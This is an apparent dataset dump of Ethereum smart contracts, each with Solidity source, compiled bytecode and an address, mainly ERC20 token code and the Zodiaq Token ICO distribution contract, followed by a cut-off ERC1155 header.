override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File: contracts/token/ERC20/behaviours/ERC20Decimals.sol pragma solidity ^0.8.0; /** * @title ERC20Decimals * @dev Implementation of the ERC20Decimals. Extension of {ERC20} that adds decimals storage slot. */ abstract contract ERC20Decimals is ERC20 { uint8 private immutable _decimals; /** * @dev Sets the value of the `decimals`. This value is immutable, it can only be * set once during construction. */ constructor(uint8 decimals_) { _decimals = decimals_; } function decimals() public view virtual override returns (uint8) { return _decimals; } } // File: contracts/service/ServicePayer.sol pragma solidity ^0.8.0; interface IPayable { function pay(string memory serviceName) external payable; } /** * @title ServicePayer * @dev Implementation of the ServicePayer */ abstract contract ServicePayer { constructor(address payable receiver, string memory serviceName) payable { IPayable(receiver).pay{value: msg.value}(serviceName); } } // File: contracts/token/ERC20/StandardERC20.sol pragma solidity ^0.8.0; /** * @title StandardERC20 * @dev Implementation of the StandardERC20 */ contract StandardERC20 is ERC20Decimals, ServicePayer { constructor( string memory name_, string memory symbol_, uint8 decimals_, uint256 initialBalance_, address payable feeReceiver_ ) payable ERC20(name_, symbol_) ERC20Decimals(decimals_) ServicePayer(feeReceiver_, "StandardERC20") { require(initialBalance_ > 0, "StandardERC20: supply cannot be zero"); _mint(_msgSender(), initialBalance_); } function decimals() public view virtual override returns (uint8) { return super.decimals(); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461014557806370a082311461015857806395d89b4114610181578063a457c2d714610189578063a9059cbb1461019c578063dd62ed3e146101af57600080fd5b806306fdde03146100ae578063095ea7b3146100cc57806318160ddd146100ef57806323b872dd14610101578063313ce56714610114575b600080fd5b6100b66101e8565b6040516100c39190610807565b60405180910390f35b6100df6100da3660046107dd565b61027a565b60405190151581526020016100c3565b6002545b6040519081526020016100c3565b6100df61010f3660046107a1565b610290565b60405160ff7f00000000000000000000000000000000000000000000000000000000000000121681526020016100c3565b6100df6101533660046107dd565b610346565b6100f361016636600461074c565b6001600160a01b031660009081526020819052604090205490565b6100b661037d565b6100df6101973660046107dd565b61038c565b6100df6101aa3660046107dd565b610427565b6100f36101bd36600461076e565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6060600380546101f79061088b565b80601f01602080910402602001604051908101604052809291908181526020018280546102239061088b565b80156102705780601f1061024557610100808354040283529160200191610270565b820191906000526020600020905b81548152906001019060200180831161025357829003601f168201915b5050505050905090565b6000610287338484610434565b50600192915050565b600061029d848484610558565b6001600160a01b0384166000908152600160209081526040808320338452909152902054828110156103275760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b61033b85336103368685610874565b610434565b506001949350505050565b3360008181526001602090815260408083206001600160a01b0387168452909152812054909161028791859061033690869061085c565b6060600480546101f79061088b565b3360009081526001602090815260408083206001600160a01b03861684529091528120548281101561040e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840161031e565b61041d33856103368685610874565b5060019392505050565b6000610287338484610558565b6001600160a01b0383166104965760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161031e565b6001600160a01b0382166104f75760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161031e565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166105bc5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161031e565b6001600160a01b03821661061e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161031e565b6001600160a01b038316600090815260208190526040902054818110156106965760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161031e565b6106a08282610874565b6001600160a01b0380861660009081526020819052604080822093909355908516815290812080548492906106d690849061085c565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161072291815260200190565b60405180910390a350505050565b80356001600160a01b038116811461074757600080fd5b919050565b60006020828403121561075e57600080fd5b61076782610730565b9392505050565b6000806040838503121561078157600080fd5b61078a83610730565b915061079860208401610730565b90509250929050565b6000806000606084860312156107b657600080fd5b6107bf84610730565b92506107cd60208501610730565b9150604084013590509250925092565b600080604083850312156107f057600080fd5b6107f983610730565b946020939093013593505050565b600060208083528351808285015260005b8181101561083457858101830151858201604001528201610818565b81811115610846576000604083870101525b50601f01601f1916929092016040019392505050565b6000821982111561086f5761086f6108c6565b500190565b600082821015610886576108866108c6565b500390565b600181811c9082168061089f57607f821691505b602082108114156108c057634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfea2646970667358221220d837d0bceda62d48fffc1d14b1f4c5f088472d5772b92c5a652995e0d397d99464736f6c63430008050033
[ 38 ]
0xf3b01ddd7f240e39f5b818cb36d14d69a54f6c8d
pragma solidity ^0.4.23; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableByOwnerToken is BasicToken, Ownable { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(address _who, uint256 _value) public onlyOwner { _burn(_who, _value); } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure balances[_who] = balances[_who].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } } contract MultiTransferableToken is BasicToken { function multiTransfer(address[] _to, uint256[] _values) public returns (bool) { require(_to.length == _values.length); uint sum = 0; uint i; for (i = 0; i < _values.length; i++) { sum = sum.add(_values[i]); } require(sum <= balances[msg.sender]); for (i = 0; i < _to.length; i++) { require(_to[i] != address(0)); balances[_to[i]] = balances[_to[i]].add(_values[i]); emit Transfer(msg.sender, _to[i], _values[i]); } balances[msg.sender] = balances[msg.sender].sub(sum); return true; } } contract ZodiaqToken is StandardToken, MintableToken, BurnableByOwnerToken, MultiTransferableToken { string public name = 'Zodiaq Token'; string public symbol = 'ZOD'; uint8 public decimals = 8; } contract Managable is Ownable { address public manager = 0x0; event ManagerIsChanged(address indexed previousManager, address indexed newManager); modifier onlyManager() { require(msg.sender == owner || msg.sender == manager); _; } function changeManager(address newManager) public onlyOwner { manager = newManager; emit ManagerIsChanged(manager, newManager); } } library SafeMathExtended { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } function mulToFraction(uint256 number, uint256 numerator, uint256 denominator) internal pure returns (uint256) { return div(mul(number, numerator), denominator); } } contract ZodiaqDistribution is Managable { using SafeMathExtended for uint256; ZodiaqToken public token; uint256 public BASE = 10 ** 8; address public bountyOwner; address public referralProgramOwner; address public team; address public partners; bool public isICOFinished = false; uint256 public icoFinishedDate = 0; uint256 public teamReward = 0; uint256 public partnersReward = 0; constructor(address zodiaqToken) public { require(zodiaqToken != 0x0); token = ZodiaqToken(zodiaqToken); } modifier isICORunning { require(!isICOFinished); _; } function init(address _bountyOwner, address _referralProgramOwner, address _team, address _partners) public onlyOwner { // can be called only once require(bountyOwner == 0x0); require(_bountyOwner != 0x0); require(_referralProgramOwner != 0x0); require(_team != 0x0); require(_partners != 0x0); bountyOwner = _bountyOwner; referralProgramOwner = _referralProgramOwner; team = _team; partners = _partners; token.mint(address(this), 240000000 * BASE); token.mint(bountyOwner, 9000000 * BASE); token.mint(referralProgramOwner, 6000000 * BASE); } function sendTokensTo(address[] recipients, uint256[] values) public onlyManager isICORunning { require(recipients.length == values.length); for (uint256 i = 0; i < recipients.length; i++) { assert(token.transfer(recipients[i], values[i])); } } function stopICO() public onlyOwner isICORunning { token.burn(address(this), token.balanceOf(address(this))); token.burn(referralProgramOwner, token.balanceOf(referralProgramOwner)); token.burn(bountyOwner, token.balanceOf(bountyOwner)); uint256 totalSupply = token.totalSupply().mulToFraction(100, 85); teamReward = totalSupply.mulToFraction(10, 100); partnersReward = totalSupply.mulToFraction(5, 100); token.mint(address(this), teamReward + partnersReward); token.finishMinting(); isICOFinished = true; icoFinishedDate = now; } function payPartners() public { require(partnersReward != 0); uint secondsInYear = 31536000; require(icoFinishedDate + secondsInYear / 2 < now); assert(token.transfer(partners, partnersReward)); partnersReward = 0; } function payTeam() public { require(teamReward != 0); uint secondsInYear = 31536000; require(icoFinishedDate + secondsInYear * 2 < now); assert(token.transfer(team, teamReward)); teamReward = 0; } }
0x6080604052600436106100ed5763ffffffff60e060020a60003504166306552ff381146100f257806339408c8314610127578063481c6a751461014e57806361cac1fb1461017f57806381add5591461019457806382f0622a146101a957806385f2aef2146101be5780638da5cb5b146101d35780639db069d8146101e85780639f569e66146101fd578063a2252aaa1461028b578063a3fbbaae146102a0578063ac78dc16146102c1578063bbc9f09a146102d6578063c8e569a8146102eb578063e031d6f014610300578063ec342ad014610329578063f2fde38b1461033e578063fc0c546a1461035f575b600080fd5b3480156100fe57600080fd5b50610125600160a060020a0360043581169060243581169060443581169060643516610374565b005b34801561013357600080fd5b5061013c6105f8565b60408051918252519081900360200190f35b34801561015a57600080fd5b506101636105fe565b60408051600160a060020a039092168252519081900360200190f35b34801561018b57600080fd5b5061013c61060d565b3480156101a057600080fd5b50610163610613565b3480156101b557600080fd5b5061013c610622565b3480156101ca57600080fd5b50610163610628565b3480156101df57600080fd5b50610163610637565b3480156101f457600080fd5b50610163610646565b34801561020957600080fd5b506040805160206004803580820135838102808601850190965280855261012595369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a9989019892975090820195509350839250850190849080828437509497506106559650505050505050565b34801561029757600080fd5b506101636107a7565b3480156102ac57600080fd5b50610125600160a060020a03600435166107b6565b3480156102cd57600080fd5b5061012561082e565b3480156102e257600080fd5b5061012561090d565b3480156102f757600080fd5b506101256109ea565b34801561030c57600080fd5b50610315610f50565b604080519115158252519081900360200190f35b34801561033557600080fd5b5061013c610f71565b34801561034a57600080fd5b50610125600160a060020a0360043516610f77565b34801561036b57600080fd5b5061016361100f565b60005433600160a060020a0390811691161461038f57600080fd5b600454600160a060020a0316156103a557600080fd5b600160a060020a03841615156103ba57600080fd5b600160a060020a03831615156103cf57600080fd5b600160a060020a03821615156103e457600080fd5b600160a060020a03811615156103f957600080fd5b6004805473ffffffffffffffffffffffffffffffffffffffff19908116600160a060020a0387811691909117835560058054831687831617905560068054831686831617905560078054909216848216179091556002546003546040805160e060020a6340c10f1902815230851695810195909552630e4e1c009091026024850152519116916340c10f199160448083019260209291908290030181600087803b1580156104a657600080fd5b505af11580156104ba573d6000803e3d6000fd5b505050506040513d60208110156104d057600080fd5b5050600254600480546003546040805160e060020a6340c10f19028152600160a060020a0393841694810194909452628954409091026024840152519216916340c10f19916044808201926020929091908290030181600087803b15801561053757600080fd5b505af115801561054b573d6000803e3d6000fd5b505050506040513d602081101561056157600080fd5b50506002546005546003546040805160e060020a6340c10f19028152600160a060020a039384166004820152625b8d8090920260248301525191909216916340c10f199160448083019260209291908290030181600087803b1580156105c657600080fd5b505af11580156105da573d6000803e3d6000fd5b505050506040513d60208110156105f057600080fd5b505050505050565b60085481565b600154600160a060020a031681565b600a5481565b600754600160a060020a031681565b60095481565b600654600160a060020a031681565b600054600160a060020a031681565b600454600160a060020a031681565b6000805433600160a060020a0390811691161480610681575060015433600160a060020a039081169116145b151561068c57600080fd5b60075474010000000000000000000000000000000000000000900460ff16156106b457600080fd5b81518351146106c257600080fd5b5060005b82518110156107a2576002548351600160a060020a039091169063a9059cbb908590849081106106f257fe5b90602001906020020151848481518110151561070a57fe5b906020019060200201516040518363ffffffff1660e060020a0281526004018083600160a060020a0316600160a060020a0316815260200182815260200192505050602060405180830381600087803b15801561076657600080fd5b505af115801561077a573d6000803e3d6000fd5b505050506040513d602081101561079057600080fd5b5051151561079a57fe5b6001016106c6565b505050565b600554600160a060020a031681565b60005433600160a060020a039081169116146107d157600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383811691821792839055604051919216907f9a14870af90787d8031c6cf6177f0ed5537556998664f4babeacd0e605a29bdc90600090a350565b600954600090151561083f57600080fd5b506008546301e1338090426303c267009091011061085c57600080fd5b600254600654600954604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a039384166004820152602481019290925251919092169163a9059cbb9160448083019260209291908290030181600087803b1580156108d157600080fd5b505af11580156108e5573d6000803e3d6000fd5b505050506040513d60208110156108fb57600080fd5b5051151561090557fe5b506000600955565b600a54600090151561091e57600080fd5b506301e1338042600282046008540110151561093957600080fd5b600254600754600a54604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a039384166004820152602481019290925251919092169163a9059cbb9160448083019260209291908290030181600087803b1580156109ae57600080fd5b505af11580156109c2573d6000803e3d6000fd5b505050506040513d60208110156109d857600080fd5b505115156109e257fe5b506000600a55565b6000805433600160a060020a03908116911614610a0657600080fd5b60075474010000000000000000000000000000000000000000900460ff1615610a2e57600080fd5b600254604080517f70a08231000000000000000000000000000000000000000000000000000000008152600160a060020a033081811660048401529251931692639dc29fac929184916370a08231916024808201926020929091908290030181600087803b158015610a9f57600080fd5b505af1158015610ab3573d6000803e3d6000fd5b505050506040513d6020811015610ac957600080fd5b50516040805160e060020a63ffffffff8616028152600160a060020a039093166004840152602483019190915251604480830192600092919082900301818387803b158015610b1757600080fd5b505af1158015610b2b573d6000803e3d6000fd5b5050600254600554604080517f70a08231000000000000000000000000000000000000000000000000000000008152600160a060020a03928316600482018190529151929093169450639dc29fac93509184916370a08231916024808201926020929091908290030181600087803b158015610ba657600080fd5b505af1158015610bba573d6000803e3d6000fd5b505050506040513d6020811015610bd057600080fd5b50516040805160e060020a63ffffffff8616028152600160a060020a039093166004840152602483019190915251604480830192600092919082900301818387803b158015610c1e57600080fd5b505af1158015610c32573d6000803e3d6000fd5b505060025460048054604080517f70a08231000000000000000000000000000000000000000000000000000000008152600160a060020a039283169381018490529051919093169450639dc29fac9350909184916370a08231916024808201926020929091908290030181600087803b158015610cae57600080fd5b505af1158015610cc2573d6000803e3d6000fd5b505050506040513d6020811015610cd857600080fd5b50516040805160e060020a63ffffffff8616028152600160a060020a039093166004840152602483019190915251604480830192600092919082900301818387803b158015610d2657600080fd5b505af1158015610d3a573d6000803e3d6000fd5b50505050610dd160646055600260009054906101000a9004600160a060020a0316600160a060020a03166318160ddd6040518163ffffffff1660e060020a028152600401602060405180830381600087803b158015610d9857600080fd5b505af1158015610dac573d6000803e3d6000fd5b505050506040513d6020811015610dc257600080fd5b5051919063ffffffff61101e16565b9050610de681600a606463ffffffff61101e16565b600955610dfc816005606463ffffffff61101e16565b600a8190556002546009546040805160e060020a6340c10f19028152600160a060020a033081166004830152929094016024850152519116916340c10f199160448083019260209291908290030181600087803b158015610e5c57600080fd5b505af1158015610e70573d6000803e3d6000fd5b505050506040513d6020811015610e8657600080fd5b5050600254604080517f7d64bcb40000000000000000000000000000000000000000000000000000000081529051600160a060020a0390921691637d64bcb4916004808201926020929091908290030181600087803b158015610ee857600080fd5b505af1158015610efc573d6000803e3d6000fd5b505050506040513d6020811015610f1257600080fd5b50506007805474ff00000000000000000000000000000000000000001916740100000000000000000000000000000000000000001790555042600855565b60075474010000000000000000000000000000000000000000900460ff1681565b60035481565b60005433600160a060020a03908116911614610f9257600080fd5b600160a060020a0381161515610fa757600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600254600160a060020a031681565b600061103361102d858561103b565b8361106a565b949350505050565b600082151561104c57506000611064565b5081810281838281151561105c57fe5b041461106457fe5b92915050565b6000818381151561107757fe5b0493925050505600a165627a7a72305820ede27826fd90584c92241302acaccaca558fc352352fca4ad4f7d833d8b0cadd0029
[ 7, 5 ]
0xf3b1498598fc2da81c769c79431a905229485ff0
//SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* ERC1155 Dependencies Project To resolve the base dependencies for ERC1155 Standard in one file */ interface IERC165 { function supportsInterface(bytes4 interfaceId) external view returns (bool); } abstract contract ERC165 is IERC165 { function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } interface IERC1155 { event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value); event TransferBatch(address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values); event ApprovalForAll(address indexed account, address indexed operator, bool approved); event URI(string value, uint256 indexed id); function balanceOf(address account, uint256 id) external view returns (uint256); function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory); function setApprovalForAll(address operator, bool approved) external; function isApprovedForAll(address account, address operator) external view returns (bool); function safeTransferFrom(address from, address to, uint256 id, uint256 amount, bytes calldata data) external; function safeBatchTransferFrom(address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data) external; } interface IERC1155Receiver { function onERC1155Received(address operator, address from, uint256 id, uint256 value, bytes calldata data) external returns 